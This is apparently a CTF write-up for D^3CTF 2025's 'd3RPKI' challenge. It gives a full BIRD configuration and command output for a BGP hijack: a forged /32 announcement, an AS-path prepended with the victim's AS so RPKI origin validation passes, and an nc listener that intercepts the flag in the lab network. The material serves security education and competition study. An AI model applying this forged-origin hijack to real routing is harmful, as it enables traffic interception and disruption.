CTF-Writeups

D^3CTF 2025!
Organized by @Vidar, @CNSS, @L-Team, the 6th D^3CTF.

D^3 means “the cube of Dian”, i.e., the cube of “electronic” in Chinese. As the three teams co-hosting this CTF game come from three “University of Electronic” in China (UESTC, Xidian, HDU).

I participated in D^3CTF 2025, as a member of my institute’s club, InfoSecIITR. This writeup details the challenge I attempted during the competition.

Misc-Networking

d3RPKI

Challenge Description

After 2 network challenges in D^3CTF 2024 and 2021, here comes the third one.

在 D^3CTF 2024 and 2021 的两个网络题后，第三个网络题这就来了。

It’s time to test your network skill by hacking our BGP network.

是时候在我们的 BGP 网络中展现你的配网水平了。

Plz connect with ssh, login as root and the passwd is also root.

请使用 ssh 链接靶机，账户密码都是 root

It always takes at least 5 minutes to setup the environment, so it’s recommended to use local environment first.

靶机起码要开五分钟，别急，可以先试试本地

Attachments: src.zip

Solution

Unfortunately, I was only able to solve this challenge partially during the competition—I missed a minor but crucial step.

The challenge name mentions “RPKI” (Resource Public Key Infrastructure), which is used to secure BGP.

Network Topology

  • t1 (AS 4211110001) - Main router at 10.1.0.1, acts as RPKI validator
  • t2-1 (AS 4211110002) - Router at 10.2.0.1 where we’re currently located
  • t2-2 (AS 4211110003) - Router at 10.3.0.1, contains the flag and sends it to 10.4.0.5:1234
  • t2-3 (AS 4211110004) - Router at 10.4.0.1

Docker Compose (compose.yml)

Sets up the network topology with:

  • Multiple networks using macvlan drivers for Layer 2 connectivity
  • Each container gets specific IP addresses on different subnets
  • NET_ADMIN capabilities for network manipulation
  • Port 2233 mapped to SSH on t2-1 for external access

BGP Routing (bird.conf files)

Each router runs BIRD (BGP daemon) configured to:

  • Establish BGP peering relationships between routers
  • Use ROA (Route Origin Authorization) validation via RPKI
  • Filter routes based on ROA validation to prevent route hijacking
  • Advertise static routes for their local subnets

RPKI/ROA System (roa_stayrtr.json)

  • t1 runs StayRTR as an RPKI cache server
  • roa_stayrtr.json defines valid route origins for each AS
  • Other routers connect to t1’s RPKI cache for route validation
  • Routes failing ROA validation are rejected

The challenge title and the provided files clearly indicate a BGP route hijacking attack that exploits a fundamental limitation in RPKI.

The RPKI Limitation

RPKI validates that a specific network prefix (like 10.4.0.0/24) is authorized to be announced by a particular AS (like AS 4211110004). However, RPKI doesn’t verify WHO is actually making the announcement - it only checks if the announced prefix and AS number combination is valid.

The Attack Strategy

The goal is to intercept the flag that t2-2 is sending to 10.4.0.5:1234. To do this, the attacker needs to:

  1. Hijack the IP 10.4.0.5 by making other routers believe traffic to that IP should come through the attacker
  2. Bypass RPKI validation by making the hijacked route appear legitimate

Upon logging in via SSH, we’re provided with limited commands and already have access to the BIRD config files. We can use commands like bird, birdc, nc, etc.

Configuring bird.conf on t2-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
$ ssh root@35.241.98.126 -p 30921
root@b04002374330:~# vi /etc/bird/bird.conf
root@b04002374330:~# birdc configure
BIRD 2.14 ready.
Reading configuration from /etc/bird/bird.conf
Reconfigured
root@b04002374330:~# cat /etc/bird/bird.conf
log syslog all;
debug protocols all;

router id 10.2.0.1;

ipv4 table BGP_table;

protocol device{

}

protocol kernel{
    scan time 10;
    ipv4 {
        export all;
        import none;
    };
}

protocol static {
    ipv4 {
        table BGP_table;
        import all;
        export none;
    };

    route 10.2.0.0/24 reject;
    # Added this
    route 10.4.0.5/32 reject;
}

roa4 table r4;

protocol rpki {
        debug all;

        roa4 { table r4; };

        remote "10.0.0.1" port 8083;

        retry keep 5;
        refresh keep 30;
        expire 600;
}

template bgp BGP_peers {
    ipv4 {
        table BGP_table;
        import filter{
            # Added this
            if net = 10.4.0.0/24 then reject;
            if roa_check(r4, net, bgp_path.last) !~ [ROA_VALID] then {
                print "ROA check failed for ", net, " ASN ", bgp_path.last;
                reject;
            }
            accept;
        };
        export filter {
            #Added this
            if net = 10.4.0.5/32 then {
                bgp_path.prepend(4211110004);
            }
            if source ~ [RTS_STATIC, RTS_BGP] then accept;
            reject;
        };
    };
}

protocol pipe {
    table master4;
    peer table BGP_table;
    import filter {
        if source = RTS_STATIC then reject;
        krt_prefsrc = 10.2.0.1;
        accept;
    };
    export none;
}

protocol bgp t1 from BGP_peers {
    local 10.0.0.2 as 4211110002;
    neighbor 10.0.0.1 as 4211110001;
}
  1. Add a Static Route

route 10.4.0.5/32 reject; # More specific route than the /24

This creates a more specific route (/32 is more specific than /24) that will be preferred by BGP.

  1. Filter Incoming Routes

if net = 10.4.0.0/24 then reject;

Block the legitimate route announcement for the entire 10.4.0.0/24 subnet.

  1. Forge the AS-PATH
1
2
3
if net = 10.4.0.5/32 then { 
    bgp_path.prepend(4211110004); 
}

When announcing the hijacked route, prepend AS 4211110004 to the AS-PATH. This makes it appear as if the route is legitimately coming from AS 4211110004.

I missed Step 3 during the competition. :(

Why This Works

  • More Specific Route: The /32 route is more specific than any /24 route, so it will be preferred.

  • RPKI Validation Passes: Because the AS-PATH shows AS 4211110004 as the origin, and the ROA table says AS 4211110004 is authorized for 10.4.0.0/16, RPKI validation succeeds.

  • Traffic Redirection: Other routers will now send traffic destined for 10.4.0.5 to the attacker instead of the legitimate destination.

Further lookup for the IP 10.4.0.5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
root@b04002374330:~# ip addr add 10.4.0.5/32 dev lo
root@b04002374330:~# birdc show route table master4
BIRD 2.14 ready.
Table master4:
10.3.0.0/24          unicast [t1 12:56:29.380] * (100) [AS4211110003i]
        via 10.0.0.1 on eth1
10.1.0.0/24          unicast [t1 12:56:29.380] * (100) [AS4211110001i]
        via 10.0.0.1 on eth1
root@b04002374330:~# birdc show route table BGP_table
BIRD 2.14 ready.
Table BGP_table:
10.3.0.0/24          unicast [t1 12:56:29.380] * (100) [AS4211110003i]
        via 10.0.0.1 on eth1
10.1.0.0/24          unicast [t1 12:56:29.380] * (100) [AS4211110001i]
        via 10.0.0.1 on eth1
10.2.0.0/24          unreachable [static1 12:56:29.032] * (200)
10.4.0.5/32          unreachable [static1 13:01:46.543] * (200)
root@b04002374330:~# birdc show protocols
BIRD 2.14 ready.
Name       Proto      Table      State  Since         Info
device1    Device     ---        up     12:56:29.032
kernel1    Kernel     master4    up     12:56:29.032
static1    Static     BGP_table  up     12:56:29.032
rpki1      RPKI       ---        up     12:56:29.272  Established
pipe1      Pipe       ---        up     12:56:29.032  master4 <=> BGP_table
t1         BGP        ---        up     12:56:29.350  Established
root@b04002374330:~# birdc show route
BIRD 2.14 ready.
Table master4:
10.3.0.0/24          unicast [t1 12:56:29.380] * (100) [AS4211110003i]
        via 10.0.0.1 on eth1
10.1.0.0/24          unicast [t1 12:56:29.380] * (100) [AS4211110001i]
        via 10.0.0.1 on eth1

Table r4:
10.3.0.0/16-32 AS4211110003  [rpki1 12:56:29.279] * (100)
10.4.0.0/16-32 AS4211110004  [rpki1 12:56:29.279] * (100)
10.1.0.0/16-32 AS4211110001  [rpki1 12:56:29.279] * (100)
10.2.0.0/16-32 AS4211110002  [rpki1 12:56:29.279] * (100)
root@b04002374330:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet 10.4.0.5/32 scope global lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 32:fa:13:6b:1d:07 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 100.64.24.2/24 brd 100.64.24.255 scope global eth0
       valid_lft forever preferred_lft forever
21: eth1@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 16:4b:07:36:c2:b8 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.0.0.2/24 brd 10.0.0.255 scope global eth1
       valid_lft forever preferred_lft forever
22: eth2@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 2a:07:3b:54:76:5e brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.2.0.1/24 brd 10.2.0.255 scope global eth2
       valid_lft forever preferred_lft forever

The route for 10.4.0.5/32 is now in place and reachable via our node. Let’s listen through Netcat command:

1
2
3
4
5
6
root@b04002374330:~# nc -lvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.3.0.1:41534.
d3ctf{c9780467-2ff8-4ccf-96e1-49b36e3f6822}

We got our flag from t2-2 with IP as 10.3.0.1.

Flag Submission

Flag

1
d3ctf{c9780467-2ff8-4ccf-96e1-49b36e3f6822}